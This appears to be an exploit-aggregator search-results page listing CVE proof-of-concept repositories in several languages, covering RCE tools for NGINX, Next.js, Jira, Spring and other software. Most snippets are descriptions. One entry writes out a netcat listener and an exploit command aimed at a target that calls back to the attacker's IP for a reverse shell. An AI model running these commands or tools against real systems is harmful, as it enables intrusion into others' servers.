1130139 matches found
nginx-rce-cve-2026-42945
5. CVE-2026-42945 - RCE critica in NGINX CVSS 9.2 Classificazione Categoria: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critico Data di scoperta: 12 maggio 2026 Data della patch: maggio 2026 rilascio trimestrale di sicurezza F5 Fonte: GitHub DepthFirstDisclosures/Nginx-Rift...
CVE-2010-1872-BlazeDVD-SEH-Exploit
BlazeDVD 5.0 - Exploit Buffer Overflow SEH della Playlist '.PLF' CVE-2010-1872 Exploit Proof-of-Concept PoC che sfrutta una vulnerabilità di buffer overflow in BlazeDVD versione 5.0 tramite un file di playlist .plf appositamente predisposto. L'exploit utilizza la sovrascrittura SEH Structured...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
su kali linux - terminale 1 nc -lvnp 4444 su kali linux - terminale 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2025-55182-POC
CVE-2025-55182 Next.js RCE Scanner Ferramenta de varredura e exploração da CVE-2025-55182, voltada para a vulnerabilidade de execução remota de código em aplicações Next.js. Suporta detecção em lote, execução de comandos, injeção de memory shell do Godzilla e funcionalidade de reverse shell. ⚠️...
CVE-2022-0540-RCE
RCE de Bypass de Autenticação no Atlassian Jira Seraph（CVE-2022-0540） Inglês • 中文 Detalhes do Exploit Conforme visto no blog do autor, a Atlassian forneceu uma longa lista de plugins afetados a grande maioria dos quais eram falsos positivos, e o autor listou vários plugins realmente afetados De...
CVE-2025-47812-PoC
CVE-2025-47812 — Wing FTP Server Execução Remota de Código RCE Visão Geral...
CVE-2025-5548-POC
CVE-2025-5548-POC Descrizione della vulnerabilità CVE-2025-5548 è una vulnerabilità di tipo stack buffer overflow identificata in FreeFloat FTP Server, un servizio FTP legacy per sistemi Windows. Il difetto risiede nel gestore del comando NOOP, che non esegue la validazione della dimensione...
CVE-2023-21939
JDK CVE-2023-21939 Lien vers l'article Ceci est JDK CVE-2023-21939 Utilisez une version JDK inférieure à 8u371 JDK + Apache XML Graphics root@kitploit: org.apache.xmlgraphics batik-swing 1.15 Comment reproduire cette RCE : 1 Exécutez XmlServer.java 2 Exécutez JarServer.java 3 Exécutez JarRCE.java...
CVE-2022-42889
🚀 Exploit di CVE-2022-42889 Text4Shell Un exploit in Python per CVE-2022-42889 Text4Shell, una vulnerabilità critica di esecuzione remota di codice in Apache Commons Text versioni precedenti alla 1.10.0. 📋 Indice Descrizione Dettagli della Vulnerabilità Versioni Interessate Caratteristiche...
CVE-2019-0232
CVE-2019-0232 Descrizione Questo è uno strumento che automatizza il flusso di lavoro di sfruttamento per CVE‑2019‑0232 fornendo sia una modalità di esecuzione comandi sia una modalità reverse shell. Supporta la codifica URL automatica dei comandi, avvia un server HTTP temporaneo per ospitare...
CVE-2025-55182
React2Shell CVE-2025-55182 ⚠️ Avviso: Questo progetto è solo per scopi educativi e di ricerca sulla sicurezza. 1. clona il repository root@kitploit: git clone https://github.com/mivmi/CVE-2025-55182.git cd CVE-2025-55182 2. avvia i container Docker root@kitploit: docker-compose up -d 3. apri nel...
CVE-2025-49132-PoC
CVE-2025-49132-PoC Prova de conceito para CVE-2025-49132 para execução remota de código no Pterodactyl Panel -m check Do something funny python3 poc.py -u -m exploit -p -t Detalhes Técnicos Analisando o git diff do LocaleController.php entre v1.11.10 e v1.11.11 link, podemos ver que o controller...
CVE-2025-55182-scanner
Scanner di esposizione della superficie di React Server Components CVE-2025-55182 Uno scanner di superficie specializzato e non intrusivo per CVE-2025-55182 RCE di React Server Components. ⚠️ Contesto Tecnico Critico Leggi questo prima di eseguire la scansione: Sebbene CVE-2025-55182 sia una...
dp_cryptomg
dpcryptomg Un altro strumento per sfruttare CVE-2017-9248, una debolezza crittografica nel dialog handler di Telerik UI for ASP.NET AJAX. Lo sfruttamento consente di accedere a un'utilità di gestione file in grado di caricare file arbitrari, portando di solito a un'esecuzione remota di codice. La...
CVE-2025-27363
CVE-2025-27363 sur Chrome 113 Note : Dans Chrome, ce n'est pas une nouvelle vulnérabilité, elle a été corrigée commit de regroupement en mars 2023. Cette PoC cible uniquement le mode headless de Chrome. Cependant, je pense que c'est une lecture intéressante si vous voulez explorer certains intern...
CVE-2025-43300
📚 CVE-2025-43300 - 脆弱性の詳細分析 🎯 概要 CVE-2025-43300 は、DNG Digital Negative ファイルの処理におけるバッファオーバーフロー の脆弱性であり、TIFF メタデータと JPEG データの不一致 によって発生し、リモートコード実行 RCE を可能にします。 🔍 1. DNGファイルの構造 階層構造: root@kitploit: DNG File ├── TIFF Container metadados │ ├── Header │ ├── IFD Image File Directory │ │ ├── Tag 277:...
SpringFramework_CVE-2022-22965_RCE
SpringFrameworkCVE-2022-22965RCE Уязвимость удаленного выполнения кода SpringFramework CVE-2022-22965 Среда воспроизведения уязвимости root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 Запись webshell...
PulseAPK
PulseAPK PulseAPK é uma GUI de nível profissional para engenharia reversa e análise de segurança no Android, construída com WPF e .NET 8. Ela combina o poder bruto do apktool com recursos avançados de análise estática, envoltos em uma interface de alto desempenho com inspiração cyberpunk. O...
CVE-2026-15748
CVE-2026-15748 — Caricamento arbitrario di file senza autenticazione in Forminator Forms → RCE CVSS 9.8 Critico · Versioni interessate: Forminator = 1.56.1 · Corretta: 1.56.2 Ricercatore: daroo Wordfence Bug Bounty, $2,048 · 600k installazioni attive Report:...